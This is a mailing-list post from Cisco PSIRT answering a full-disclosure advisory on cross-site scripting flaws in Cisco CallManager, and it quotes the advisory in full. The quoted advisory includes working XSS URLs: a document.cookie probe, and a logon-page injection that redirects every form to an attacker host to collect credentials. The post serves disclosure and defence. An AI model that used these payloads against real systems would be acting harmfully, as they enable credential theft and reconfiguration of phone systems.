Message-ID: <20060620023737.GL16812@cisco.com>
Date: Tue Jun 20 03:37:46 2006
From: ckossmey at cisco.com (Clayton Kossmeyer)
Subject: Re: Input Validation/Output Encoding
	Vulnerabilities in Cisco CallManager Allow Script Injection Attacks


Hello -

This Cisco Security Response can be viewed on Cisco's website at the
following URL:

http://www.cisco.com/warp/public/707/cisco-sr-20060619-ccmxss.shtml

This is the Cisco PSIRT's response to the statements made by Jake
Reynolds and FishNet Security in his advisory: Input Validation/Output
Encoding Vulnerabilities in Cisco CallManager Allow Script Injection
Attacks. The original email/advisory is available at
http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/047015.html.

This issue is being tracked by Cisco Bug ID CSCsb68657. 

We would like to thank Jake Reynolds of FishNet Security for reporting
this issue to us.

We greatly appreciate the opportunity to work with researchers on
security vulnerabilities, and welcome the opportunity to review and
assist in product reports.

Additional Information
----------------------

The attacks described in the report manipulate a Cross Site Scripting
(XSS) weakness in the web interface of the Cisco CallManager. XSS
attacks of this nature rely on intervention of a privileged user and
typically attempt to manipulate or trick such a user into clicking on
an HTTP URL (typically embedded in an email or HTTP web page).

Cisco recommends that users take care when clicking on URLs and
validate the URL being accessed is indeed the site you intend to
browse. Checking the HTML source of a web page or email will reveal
the true destination of a link.

There are no workarounds that will mitigate this vulnerability.

Cisco has fixed this vulnerability and fixes will be forthcoming for
all supported CallManager trains in the following versions:

4.3(1)
4.2(3)
4.1(3)SR4
3.3(5)SR3

Regards,

Clay Seaman-Kossmeyer
Cisco PSIRT


> - -------- Original Message --------
> Subject: [Full-disclosure] Input Validation/Output Encoding
> Vulnerabilities	in Cisco CallManager Allow Script Injection Attacks
> Date: Mon, 19 Jun 2006 12:23:52 -0500
> From: Reynolds, Jake <Jake.Reynolds@...hnetsecurity.com>
> To: <full-disclosure@...ts.grok.org.uk>
> 
> I. SYNOPSIS
> 
> Release Date: 07/19/2006
> 
> Affected Application: Cisco CallManager 3.1 and up (versions prior to
> 3.1 were not tested but may
> still be vulnerable)
> 
> Severity If Exploited: High
> 
> Impact: Arbitrary configuration of phone system/Theft of individual
> phone users' credentials
> 
> Mitigating Factors: Requires user action (following a link, visiting a
> resource with an embedded
> redirect)
> 
> Initial Notification of Vendor: 10/24/2005
> 
> Discovery: Jake Reynolds, Senior Security Engineer -- FishNet Security
> 
> Contributions: Arian Evans, Senior Security Engineer - FishNet Security
> 
> Permanent Advisory Location:
> http://www.fishnetsecurity.com/csirt/disclosure/cisco/Cisco+CallManager+XSS+Advisory.htm
> 
> II. EXECUTIVE SUMMARY
> 
> Vulnerability Overview:
> 
> The web interface used to administer Cisco CallManager software suffers
> from a lack of input
> validation and output encoding. As a result, an attacker could craft a
> request that causes the
> CallManager web interface to include malicious JavaScript in its
> response. If a victim can be made to
> submit this specially crafted request, the response will be processed,
> and the malicious JavaScript
> payload executed in the browser of the victim.
> 
> Attack Overview:
> 
> If such a request is provided to CallManager administrators (either in
> an email or embedded in an html
> resource using something like an automatic redirect) an attacker can
> perform a variety of nefarious
> actions. Depending on the scripted payload, these attacks are commonly
> referred to as cross-site
> scripting (XSS), session riding, and cross-site request forgery (CSRF).
> Potential threats that can be
> realized through these vulnerabilities could include but are not limited to:
> 
> * Deletion of phone system components such as devices, partitions,
> calling search spaces, etc
> 
> * Reconfiguration of phone system components such as route plans, global
> directory, services, etc
> 
> * Theft of global directory user credentials
> 
> * Theft of "Cisco CallManager User Options" credentials or session token
> leading to user identity
> spoofing within that specific interface of CallManager (Utilization of
> the stolen credentials or
> session tokens would require direct connectivity to CallManager.)
> 
> III. TECHNICAL DETAIL
> 
> Vulnerability Details:
> The web interfaces used to administer Cisco CallManager exhibit input
> validation/output encoding
> vulnerabilities throughout the applications. Specifically, the "Cisco
> CallManager Administration" and
> "Cisco CallManager User Options" interfaces contain multiple instances
> of these vulnerabilities. This
> advisory will focus on a subset of those vulnerabilities that allow
> attack execution from an
> unauthenticated perspective. Not all vulnerability instances will be
> included.
> 
> The "Cisco CallManager Administration"
> (http://CallManagerAddress/ccmadmin/) web interface contains
> parameters that have their user-supplied input returned in subsequent
> responses without being properly
> encoded. Although this interface requires basic authentication before
> access to the vulnerable
> parameters is granted, the original request will be sent to the server
> after successful
> authentication. Thus, reflected script injection is possible if the
> attacker can lure a CallManager
> administrator into entering their credentials upon being presented with
> the basic authentication box.
> The URL below takes advantage of the vulnerable "pattern" parameter that
> returns user-supplied input
> at several points within the subsequent responses.
> 
> http://CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert
> (document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList=
> 
> A simple proof of concept script has been written that utilizes XMLHTTP
> to search for devices and
> delete them from the CallManager configuration. Prior knowledge of the
> CallManager configuration would
> allow for more savvy attacks that could intelligently reconfigure the
> phone system.
> 
> The "Cisco CallManager User Options"
> (http://CallManagerAddress/ccmuser/) web interface also contains
> vulnerable parameters. Most notably, arbitrary parameters included in
> requests to /ccmuser/logon.asp
> are returned by the application without proper input validation or
> output encoding. The URL below
> takes advantage of this behavior by appending the parameter
> "MadeUpParameter", escaping the form
> included in the response, and rewriting all form actions to point to an
> attacker site that collects
> all input. The application seems to remove the '+' character used to
> post-increment the loop counter
> so URL hex encoding (%2B) was used to obfuscate it.
> 
> http://CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for
> (i=0;
> i<document.forms.length; i%2B%2B)
> document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!--
> 
> By luring phone system users into making the above request and logging
> in, an attacker can steal their
> credentials.
> 
> IV. MITIGATING FACTORS
> 
> Prerequisites: In all cases, there is some prerequisite information that
> an attacker must have. The
> address of the CallManager is obviously a necessity in order to
> correctly craft malicious requests.
> This could be easily gained internally by viewing the network
> configuration on the IP phones that
> register with the targeted CallManager unless the display of this
> information has been disabled.
> Social engineering could allow an attacker to gain this information from
> inside or outside of the
> organization. It is important to note that while the address of the
> target CallManager is required,
> the attacker does not require connectivity. Reflected script injection
> attacks only require that the
> victim has connectivity to the vulnerable application, since the victim
> is the entity that makes the
> malicious request, causing unwanted execution of the script included in
> the vulnerable server's
> response.
> 
> Any intelligent reconfiguration of Cisco CallManager using CSRF attacks
> as mentioned above would
> require knowledge of the current CallManager configuration. However, a
> significant amount of damage
> could be inflicted by an XMLHTTP-based script that searches for and
> deletes all devices without prior
> knowledge of the current CallManager configuration.
> 
> Exploitation of the "Call Manager User Options" logon page does not
> require connectivity to the target
> CallManager. However, the use of stolen credentials gained through such
> an attack would require
> connectivity to a system that utilizes them. This system, in many cases
> might only be the CallManager
> itself. However, in the case of CallManager integration with another
> directory such as iPlanet or
> Active directory, credential theft could lead to an attacker gaining
> access to many other services.
> 
> V. RECOMMENDED ACTIONS
> 
> Technical Workarounds:
> 
> * Upgrade Software When Fixes Become Available - Cisco has stated that
> future releases of all trains
> of Cisco CallManager will contain fixes for these vulnerabilities.
> 
> * Restrict Network Connectivity to CallManager Interfaces - During
> discovery, it was noted that
> several organizations had their CallManager administration interfaces
> exposed to the Internet. Simple
> Google queries are all an attacker needs in this case to obtain the
> target CallManager address. There
> are few compelling reasons one could present that would justify public
> access to CallManager web
> interfaces.
> 
> * Treat Sensitive/Critical Interfaces as Sensitive & Critical -
> Information about the specifics of the
> CallManager configuration should be kept confidential. Access to the
> various CallManager interfaces
> should be as restrictive as possible. Although these attacks do not
> require an attacker to have
> connectivity to the vulnerable application, restriction of this access
> still serves to limit attack
> vectors by limiting the amount of potential victims.
> 
> Nontechnical Workarounds:
> 
> * Education & Awareness of User Luring Attack Vector - Educate all users
> about the risks of social
> engineering attacks. Users should be aware of the triviality of spoofing
> emails, caller ID, and other
> types of information.
> 
> VI. CONTACT
> 
> You can reach the author of this advisory by emailing
> jake[dot]reynolds[at]fishnetsecurity.com
> 
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.3 (Darwin)
> 
> iD8DBQFEluHBllAcl+pm5SIRAhUGAKCwlcQrYv3aFudSYK2PiNNeQucRPgCfZIJX
> 7UGv0l1BV8qVdzdkY85FTMk=
> =+w2A
> -----END PGP SIGNATURE-----

Powered by blists - more mailing lists